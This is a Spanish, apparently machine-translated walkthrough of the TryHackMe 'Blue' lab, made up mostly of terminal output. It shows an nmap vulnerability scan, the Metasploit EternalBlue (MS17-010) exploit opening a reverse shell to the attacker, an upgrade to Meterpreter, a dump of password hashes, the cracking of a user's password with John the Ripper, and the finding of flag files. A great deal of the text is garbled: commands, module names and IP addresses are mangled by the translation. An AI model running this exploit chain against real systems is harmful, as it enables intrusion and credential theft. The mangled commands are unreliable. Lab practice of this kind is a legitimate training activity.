[TryhackMe] Hacking Windows Machines usando MS17-010 (CVE-2017-0143)! Escrito azul

┌── (Hacklab㉿hackLab)-[~/tryhackme/blue] └─ $ nmap -sv --script vuln -on ./initial 10.10.143.122 iniciando nmap 7.92 (https://nmap.org) en 2023-05-08 22:13 jst nmap scan informe para 10.10.14.143.1222222222s up (0.25 up (0.25. latencia). Not shown: 991 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? | _ssl-ccs-inyección: sin respuesta del servidor (tiempo de espera) | RDP-Vuln-MS12-020: | Vulnerable: | MS12-020 Protocolo de escritorio remoto Denegación de servicio Vulnerabilidad | Estado: Vulnerable | IDS: CVE: CVE-2012-0152 | Factor de riesgo: medio CVSSV2: 4.3 (medio) (AV: N/AC: M/Au: N/C: N/I: N/A: P) | Vulnerabilidad de protocolo de escritorio remoto que podría permitir a los atacantes remotos causar una negación de servicio. | | Fecha de divulgación: 2012-03-13 | Referencias: | http://technet.microsoft.com/en-us/security/bulletin/ms12-020 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0152 | | MS12-020 Protocolo de escritorio remoto Código remoto Ejecución Vulnerabilidad | Estado: Vulnerable | IDS: CVE: CVE-2012-0002 | Factor de riesgo: alto CVSSV2: 9.3 (alto) (AV: N/AC: M/Au: N/C: C/I: C/A: C) | Vulnerabilidad de protocolo de escritorio remoto que podría permitir a los atacantes remotos ejecutar código arbitrario en el sistema objetivo. | | Fecha de divulgación: 2012-03-13 | Referencias: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0002 | _ http://technet.microsoft.com/en-us/security/bulletin/ms12-020 49152/tcp abre msrpc microsoft rpc 49153 MSRPC Microsoft Windows RPC 49154/TCP Abrir MSRPC Microsoft Windows RPC 49158/TCP Open MSRPC Microsoft Windows RPC 49160/TCP Open MSRPC Microsoft Windows RPC Información: Host: Jon-PC; OS: Windows; CPE: CPE:/O: Microsoft: Windows Resultados del script del host: | _smb-vuln-ms10-054: falso | _smb-vuln-ms10-061: nt_status_access_denied | SMB-Vuln-MS17-010: | Vulnerable: | Vulnerabilidad de ejecución del código remoto en servidores Microsoft SMBV1 (MS17-010) | Estado: Vulnerable | IDS: CVE: CVE-2017-0143 | Factor de riesgo: alto | Existe una vulnerabilidad de ejecución de código remoto crítico en Microsoft SMBV1 | Servidores (MS17-010). | | Fecha de divulgación: 2017-03-14 | Referencias: | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | _ https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0143 | _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DEDEED Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP HECHO: 1 dirección IP (1 host) escaneada en 201.76 segundos

Port State Service Versión 135/TCP Abrir MSRPC Microsoft Windows RPC 139/TCP Abrir Netbios-SSN Microsoft Windows Netbios-SSN 445/TCP Open Microsoft-DS Microsoft Windows 7-10 Microsoft-DS (Workgroup: Workgroup)

Resultados del script del host: | _smb-vuln-ms10-054: falso | _smb-vuln-ms10-061: nt_status_access_denied | SMB-Vuln-MS17-010: | Vulnerable: | Vulnerabilidad de ejecución del código remoto en servidores Microsoft SMBV1 (MS17-010) | Estado: Vulnerable | IDS: CVE: CVE-2017-0143 | Factor de riesgo: alto | Existe una vulnerabilidad de ejecución de código remoto crítico en Microsoft SMBV1 | Servidores (MS17-010). | | Fecha de divulgación: 2017-03-14 | Referencias: | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | _ https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0143 | _samba-vuln-cve-2012-1182: Nt_status_access_denied

┌── (Hacklab㉿hackLab)-[~/tryhackme/blue] └─ $ msfconsole iiiii dtb.dtb _.-- ._ ii 4 'v' b. '"".'/| \ `." "'. II 6. .P:. ' / | \ `. : Ii 't ;. .;PAG' '.' / | \. ' Ii 't; ; P ''. / | \. ' Iiiii 'yvp' `-.__ | __.- 'Amo los shells --egypt = [metasploit v6.1.22 -dev] + --- = [2188 Exploits -1161 auxiliary -400 post] + - -= [596 cargas de pago -45 encodeños -10 nops] + -= [9 evasión] metasploit pipeit: la punta de la marco: los registros del marco, lo que viene el registro de la marco, lo que se acomoda, además de usar el registro del marco, el registro de los registros de los registros de los registros de los registros de los registros de los registros. con ayuda log MSF6> 

msf6> buscar ms17-010 módulos coincidentes ===== # Nombre Fecha de divulgación de rango Descripción----- ----- ------------------------------------------------------------------------------- --------------------------------------------------------------------------- MS17-010 EternAlromance/EternalSynergy/EternalChampion SMB Remote Windows Code Ejecution 2 Auxiliary/Admin/Smb/MS17_010_Command 2017-03-14 Normal no MS17-010 Eternalomance/EternalSynergy/EternalChamPion SMB Remote Windows Comando Ejecutivo 3 Auxiliar/Scanner/Smb/Smb/Smb/Smb/SmB_Ms17_0101010 MS17-010 SMB RCE Detection 4 Exploit/Windows/SMB/SMB_DoublePulsar_RCE 2017-04-14 Great YES SMB Doublepulsar El código remoto de ejecución interactúa con un módulo por nombre o índice. Por ejemplo, información 4, use 4 o use Exploit/Windows/SMB/SMB_DoublePulsar_RCE MSF6> 

msf6> use 0 [*] Sin carga útil configurada, por defecto a Windows/x64/meterpreter/invers_tcp

MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> Mostrar opciones Módulo Opciones (Exploit/Windows/SMB/MS17_010_ETernalBlue): Nombre Configuración actual Requerida Descripción ----- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- autenticación. Solo afecta a Windows Server 2008 R2, Windows 7, Windows Incrusted Standard 7 Máquinas de destino. SMBPass NO (Opcional) La contraseña para el nombre de usuario especificado SMBUSER NO (OPCIONAL) El nombre de usuario para autenticar como Verify_arch True sí Compruebe si la arquitectura remota coincide con el objetivo de explotación. Solo afecta a Windows Server 2008 R2, Windows WS 7, máquinas de destino estándar 7 de Windows incrustadas. Verify_Target True Sí Compruebe si el sistema operativo remoto coincide con el objetivo de explotar. Solo afecta a Windows Server 2008 R2, Windows 7, Wind OWS incrustados de máquinas de destino estándar 7. Opciones de carga útil (Windows/x64/meterpreter/reverse_tcp): Nombre Configuración actual Requerida Descripción ----- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- LHOST 10.0.2.15 Sí, la dirección de escucha (se puede especificar una interfaz) Lport 4444 Sí, el puerto de escucha Exploit de exploit: Nombre de ID----- 0 Targeto automático MSF6 Exploit (Windows/SMB/MS17_010_ETERNALBLUE> 

MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> Establezca Rhosts 10.10.143.122 Rhosts => 10.10.143.122

MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> Establezca la carga de pago Windows/x64/shell/invers_tcp pague carga => windows/x64/shell/invers_tcp msf6 exploit (windows/smb/ms17_010_eternalBlue)> establecer lhost 10.18.110.90 lhost => 10.18.18.110.90.90.90

MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> Ejecutar [*] Comenzando el controlador de TCP inverso en 10.18.110.90:4444 [*] 10.10.143.122:445 - Uso de Auxiliary/Scanner/Smb/SMB_MS17_010 como cheque [+] 10.143.122:45 - MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64 bits) [*] 10.10.143.122:445 - escaneado 1 de 1 hosts (100% completo) [+] 10.10.143.122:445 - El objetivo es vulnerable. [*] 10.10.143.122:445 - Conexión al objetivo para la explotación. [+] 10.10.143.122:445 - Conexión establecida para la explotación. [+] 10.10.143.122:445 - OS de destino seleccionado válido para el sistema operativo indicado por respuesta SMB [*] 10.10.143.122:445 - Volcado de búfer sin procesar central (42 bytes) [*] 10.10.143.122:445 - 0x0000000 57 69 6e 64 6f 77 73 20 37 50 72 6f 66 65 73 73 Windows [] 10.10.143.122:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 Sional 7601 Serv [*] 10.10.143.122:445 - 0x0000020 69 63 65 20 50 61 63 6b 20 31 Pack 1 [+] 10.10.143.13.122:44 Arch indicado por la respuesta DCE/RPC [*] 10.10.143.122:445 - Intentando explotar con 12 asignaciones de novios. [*] 10.10.143.122:445 - Envío de todos los últimos fragmentos del paquete de explotación [*] 10.10.143.122:445 - Inicio de preparación de piscinas no paginado [+] 10.10.143.122:444 - Enviar buffers SMBV2 [+] 10.143.122:44 - Cierre de la conexión Smbv1 Free Aweating a Smbv2 [+] búfer. [*] 10.10.143.122:445 - Envío de buffers SMBV2 finales. [*] 10.10.143.122:445 - ¡Enviando el último fragmento del paquete de explotación! ) [*] 10.10.143.122:445 - Enviar huevo a una conexión corrupta. [*] 10.10.143.122:445 - desencadenando libres de búfer corrupto. [ -] 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 10.10.143.122:445 - OS de destino seleccionado válido válido para el sistema operativo indicado por respuesta SMB [*] 10.10.143.122:445 - Volcado de búfer de núcleo (42 bytes) [*] 10.10.143.122:445 - 0x0000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 65 73 73 Windows [Windows [] 10.10.143.122:445 - 0x0000010 73 69 6F 6E 61 6C 20 37 36 30 31 20 53 65 72 76 SICIAL 7601 SERV [*] 10.10.143.122:445 - 0x0000020 69 63 65 65 20 50 61 63 6b 20 31 Pack 1 [+] 10.10.143.13.12:445: Indicado por la respuesta DCE/RPC [*] 10.10.143.122:445 - Intentando explotar con 17 asignaciones de novios. [*] 10.10.143.122:445 - Envío de todos los últimos fragmentos del paquete de explotación [*] 10.10.143.122:445 - Inicio de preparación de piscinas no paginado [+] 10.10.143.122:444 - Enviar buffers SMBV2 [+] 10.143.122:44 - Cierre de la conexión Smbv1 Free Aweating a Smbv2 [+] búfer. [*] 10.10.143.122:445 - Envío de buffers SMBV2 finales. [*] 10.10.143.122:445 - ¡Enviando el último fragmento del paquete de explotación! ) [*] 10.10.143.122:445 - Enviar huevo a una conexión corrupta. [*] 10.10.143.122:445 - desencadenando libres de búfer corrupto. [*] Etapa de envío (336 bytes) al 10.10.143.122 [*] Sesión de shell de comando 2 abierto (10.18.110.90:4444 -> 10.10.143.122:49176) en 2023-05-08 23:07:41 +0900 [ +] 10.10.143.122:445 - - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 10.10.143.122:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--------

C: \ Windows \ System32> Whoami Whoami Nt Authority \ System

C: \ windows \ system32>^z Sesión de fondo 2? [y/n] y MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> 

MSF6 Exploit (Windows/SMB/MS17_010_eternalBlue)> Buscar shell_to_meterpreter módulos de coincidencia === # Nombre Fecha de divulgación Comprobación de rango Descripción ------ -----------------------------------------------------------------------------------------------------------------------------------------------------------

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0 msf6 post(multi/manage/shell_to_meterpreter) > show options Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- ------------------------------------------------------------------------------------------------------------------------------------------------------- Lport 4433 Sí Puerto para la carga útil para conectarse. Sesión Sí La sesión para ejecutar este módulo en

MSF6 POST (MULTI/MANGER/SHELL_TO_METERPRETER)> Sesiones -L Sesiones activas ==== ID Nombre Tipo de nombre Conexión de información------ ----------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------

MSF6 POST (multi/manage/shell_to_meterpreter)> Establecer sesión 1 sesión => 1

MSF6 POST (MULTI/MANEJER/SHELL_TO_METERPRETER)> Sesiones -L Sesiones activas ==== ID Nombre Tipo de nombre Conexión de información----- ----- ----------------------------------------------------------------------------------------------------------------------------------------------------------- Jon -PC 10.18.110.90:4433 -> 10.10.75.121:49183 (10.10.75.121)

MSF6 POST (multi/manage/shell_to_meterpreter)> sesiones -i 2 [*] Interacción de inicio con 2 ... meterpreter> 

meterpreter> getSystem [-] ya ejecutándose como sistema

Meterpreter> Nombre de usuario del servidor GetUid: NT Authority \ System

Meterpreter> PS PROCESS LIST ===== Pid Pid PPID Nombre Arch Session Ruta del usuario ---- ------------------------------------------------------------------- ---------------- --------------------------------------------------------------------------------- --- --- --- ---- --- ---- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- Autoridad \ System C: \ Windows \ Microsoft.net \ Framework64 \ V4.0.30319 \ mscorsvw.exe 536 700 svChost.exe x64 0 NT Authority \ System 552 544 csrss.exe x64 C: \ Windows \ System32 \ csrss.exe x64 0 NT Authority \ System C: \ Windows \ System32 \ Wininit.exe X64 1 NT Authority \ System C: \ Windows \ System32 \ Csrss.exe 652 592 WinLOgon.exe X64 1 NT Authority \ System C: \ Windows \ System32 \ WinLOgon.EXE 700 600 600 Servicios. Autoridad \ System C: \ Windows \ System32 \ Services.exe 708 600 lSass.exe X64 0 NT Autoridad \ System C: \ Windows \ System32 \ lSass.exe 716 600 LSM.EXE X64 0 NT Autoridad \ System C: \ Windows \ System32 \ LSM.EXE 824 700 SVCHOST.EXE X64 0 NT Autoridad \ SYSTEM x64 0 NT Autoridad \ Servicio de red 940 700 SVCHOST.exe X64 0 NT Autoridad \ Servicio local 1012 652 Logonui.exe X64 1 NT Authority \ System C: \ Windows \ System32 \ Logonui.exe 1060 700 SvChost.exe x64 0 NT Authority \ Local Service 1112 824 WmiprvrvRvSe. svChost.exe x64 0 NT Autoridad \ Servicio de red 1160 552 Conhost.exe x64 0 NT Autoridad \ System C: \ Windows \ System32 \ Conhost.exe 1288 700 SPOolSV.Exe X64 0 NT Autoridad \ System C: \ Windows \ System32 \ SPOolSV.EXE 1324 700 SVCHOS amazon-ssm-agent.exe x64 0 NT Authority \ System C: \ Program Files \ Amazon \ SSM \ Amazon-SSM-AGENT.EXE 1464 700 LITEAGENT.EXE X64 0 AUTORATIA NT \ SISTEMA C: \ Programa Archivos \ Amazon \ XENTOOLS \ LITEAGENT.EXE 1556 700 SVCHOST.EXE X64 0 NT AUTORIETAD x64 0 NT Autoridad \ System C: \ Archivos de programa \ Amazon \ EC2ConfigService \ EC2Config.exe 1908 700 SVCHOST.EXE X64 0 NT Authority \ Network Service 2040 1288 CMD.EXE X64 0 NT Autoridad \ System C: \ Windows \ System32 \ CMD.EXE 2160 700 MSCORSVW.exe X64 X64 064 064 064 064 064 064 X64 064 X64 X64 064 X64 064 X64 X64 064 X64 064 X64 X64 X64 064 X64 064 X64 064 X64 064 064 X64 X64 064 X64 X64 X64 NATUSIÓN DE LA C: \ windows \ microsoft.net \ framework64 \ v4.0.30319 \ mscorsvw.exe 2168 700 taskhost.exe x64 0 nt autoridad \ servicio local c: \ windows \ system32 \ taskhost.exe 2312 700 svchost.exe x64 0 nt autoridad \ servicio local 2356 700 sppsvc.exe x64 0 nt autorution \ network \ network \ network \ network Authority SearchIndexer.exe x64 0 NT Authority \ System 2572 700 Vds.exe x64 0 NT Authority \ System 2652 2836 PowerShell.exe X64 0 NT Autoridad \ System C: \ Windows \ System32 \ WindowsPowerShell \ V1.0 \ Powershell.exe 2844 552 Conhos C: \ Windows \ System32 \ Conhost.exe 3048 700 TrustedInstaller.exe x64 0 NT Autoridad \ System

Meterpreter> migrar 700 [*] Migración de 2652 a 700 ... [*] La migración se completó con éxito.

Meterpreter> Administrador de hashdump: 500: AAD3B435B51404EEAAD3B435B51404EE: 31D6CFE0D16AE931B73C59D7E0C089C0 ::: Invitado: 501: AAD3B435B51404EEAAD3B435B51404EE: 31D6CFE0D16AE931B73C59D7E0C089C0 ::: Jon: 1000: AAD3B435B51404EEAAD3B435B51404EE: FFB43F0DE35BE4D9917AC0CC8AD57F8D :::

┌── (Hacklab㉿hackLab)-[~/Tryhackme/Blue] └─ $ Cat Hash_Jon: 1000: AAD3B435B51404EEAAD3B435B51404EE: FFB43F0DE35BE4D9917AC0CC8AD57F8D :::::

┌── (HackLab㉿hackLab)-[~/tryhackme/blue] └─ $ John --Format = nt --wordlist =/usr/share/wordlists/rockyou.txt hash_jon Directory: /home/hacklab/.John usando la encuesta predeterminada: UTF-8 cargada 1 Password Hash (NT [MD4 256 8x3]) ADVERTENCIA: No hay soporte OpenMP para este tipo hash, considere --fork = 4 Presione 'Q' o Ctrl-C para abortar, casi cualquier otra clave para el estado Alqfna22 (Jon) 1G 0: 00: 00: 00 Done (2023-05-09 00:28) 2.857G/S 29143KP/S 291433KC/S29143KC/S29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S 29143KC/S29143KC ALR19882006..Alpusidi Use las opciones "--show--format = nt" para mostrar todas las contraseñas agrietadas de manera confiable que se completa.

meterpreter > pwd C:\Windows\system32 meterpreter > cd / meterpreter > ls Listing: C:\ ===== Mode Size Type Last modified Name ---- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- 0 Dir 2009-07-14 12:20:08 +0900 Perflogs 0405555/R-XR-XR-X 4096 Dir 2019-03-18 07:22:01 +0900 Archivos de programa 0405555555 4096 DIR 2019-03-18 07:28:38 +0900 Archivos de programa (x86) 0407777/rwxrwxrwx 4096 Dir 2019-03-18 07:35:57 +0900 Datos programas 040777/RWXRWXRWX 0 DIR 2018-12-13 12:13:22 +0900 040777/RWXRWXRWX 4096 DIR 2023-05-09 00:30:47 +0900 Información de volumen del sistema 0405555/R-XR-XR-X 4096 Dir 2018-12-13 12:13:28 +0900 Usuarios 040777/RWXRWXRWX 16384 Dir 2019-03-18 07:36:36:30 +0900 Windows 100666/rw-rw-rw- 24 fil 2019-03-18 04:27:21 +0900 flag1.txt 000000/------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------

Meterpreter> Cat Flag1.txt Flag {access_the_machine}

meterpreter> búsqueda -f bandera*txt encontrado 3 resultados ... ====== tamaño de ruta (bytes) modificado (UTC) ----- -----------------------------------------------------------------------------------------------------------------------------------------------------------

meterpreter > cd Windows\\System32\\config\\ meterpreter > ls Listing: C:\Windows\System32\config ==== Mode Size Type Last modified Name ---- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- 08:00:40 +0900 bcd-template.log 1006666/rw-rw- 18087936 fil 2023-05-09-09 00:05:48 +0900 componentes 10066666/rw-rw-rw- 1024-024-024-024-024-024 FILET 17:32:10 +0900 Components.log 100666/rw-rw-rw-rw- 13312 fil 2023-05-09 00:05:48 +0900 componentes.log1 1006666/rw-rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 componentes Fil 2023-05-08 23:54:43 +0900 Componentes {016888B8-6C6F-1DE-8D1D-001E0BCDE3EC} .TXR.0.Engtrans-MS 1006666/RW-RW-RW- 1048576 FIL 2023-05-08 23:54:43 +0900 Componentes {016888B8-6C6F-11DE-8D1D-001E0BCDE3EC} .TXR.1. REGTRANS-MS 100666/RW-RW-RW- 1048576 FIL 2023-05-08 23:54:43 +0900 Componentes {016888B8-6C6F-11DE-8D1D-001E0BCDE3EC} .TXR.2. REGRANS-MS 100666/RW-RW-RW- 65536 FIL 2023-05-08 23:54:43 +0900 Componentes {016888B8-6C6F-11DE-8D1D-001E0BCDE3EC} .TXR.BLF 100666/RW-RW-RW- 65536 FIL 2018-12-13 12:20:57 +09900 Componentes {016888B9-6C6F-11DE-8D1D-001E0BCDE3EC} .TM.BLF 100666/RW-RW-RW- 524288 FIL 2018-12-13 12:20:57 +0900 Componentes {016888B9-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER00000000000 1. REGRANS-MS 100666/RW-RW-RW- 524288 FIL 2009-07-14 14:01:27 +0900 Componentes {0168888B9-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER000000000 2. REGRANS-MS 1006666/RW-RW-RW- 262144 FIL 2023-05-09 00:24:11 +0900 Predeterminado 100666/RW-RW-RW-RW- 1024 FIL 2011-04-09-12 17:32:10 +0900 predeterminado 2019-03-18 07:22:17 +0900 predeterminado {016888B5-6C6F-11DE-8D1D-001E0BCDE3EC} .TM.BLF 1006666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 Predeterminado {0168888B5-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER00000000000001.R EGTRANS-MS 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 Predeterminado {016888B5-6C6F-11DE-8D1D-001E0BCDE3EC} .TMContainer000000000000000002.R Egtrans-MS 040777/RWXRWXRWX 0 DIR 2009-07-14 11:34:57 +0900 Diario 040777/RWXRWX 2023-05-09 00:23:52 +0900 RegBack 100666/rw-rw-rw- 262144 fil 2019-03-18 05:05:08 +0900 SAM 100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 SAM.LOG 100666/rw-rw-rw- 21504 fil 2019-03-18 07:39:12 +0900 sam.log1 100666/rw-rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 sam.log2 100666/rw-rw-rw- 65536 fil 2019-03-18 07:22:17 +0900 SAM {016888C1-6C6F-11DE-8D1D-001E0BCDE3EC} .TM.BLF 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 SAM {016888C1-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER00000000000000001. REGTR ANS-MS 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 SAM {016888C1-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER00000000000000002. REGTR ANS-MS 100666/RW-RW-RW- 262144 FIL 2023-05-09 00:06:03 +0900 SEGURIDAD 100666666/RW-RW-RW-RW-RW-RW-RW-RW-RW-RW-RW-RW- RW-RW-RW- RW-RW-RW- RW-RW- RW-RW-RW- RW-RW-RW- RW-RW- RW-RW-RW- RW-RW- RW-RW- RW-RW-RW-RW-RWIN. 2011-04-12 17:32:10 +0900 Security.log 100666/rw-rw-rw-rw- 21504 fil 2023-05-09 00:06:03 +0900 Security.log1 100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 Security 2019-03-18 07:22:17 +0900 Seguridad {016888c5-6c6f-11de-8D1D-001E0BCDE3EC} .TM.BLF 1006666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 Seguridad {0168888C5-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER0000000000001. REGTRANS-MS 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:22:17 +0900 SEGURIDAD {016888C5-6C6F -1DE-8D1D-001E0BCDE3EC} .TMContainer0000000002. REGTRANS-MS 100666/RW-RW-RW- 40632320 FIL 2023-05-09 00:30:59 +0900 Software 1006666/RW-RW-RW- 1024 FIL 2011-04-12 17:32:10 +0900 Software.log 1006666/RW-RW-RW-RW- 262144 FIL 2023-05-05-09 +0900 software.log1 100666/rw-rw-rw-rw- 0fil 2009-07-14 11:34:08 +0900 software.log2 100666/rw-rw-rw-rw- 65536 fil 2019-03-18 07:21:19 +0900 SOFTWARE {016888C9-6C6F-11DE-8D1D-001E0BCDE3EC} .TM.BLF 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:21:19 +0900 Software {016888c9-6c6f-11de-8D1D-001E0BCDE3EC} .TMContainer00000000000001. REGTRANS-MS 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:21:19 +0900 Software {016888c9-6c6f-11de-8D1D-001E0BCDE3EC} .TMCONTAINER000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 262144 FIL 2023-05-09 00:31:58 +0900 System.log1 100666/RW-RW-RW- 0 FIL 2009-07-14 11:34:08 +0900 System.log2 100666/RW-RW-RW- 65536 FIL 2019-03-18 07:21:22 +0900 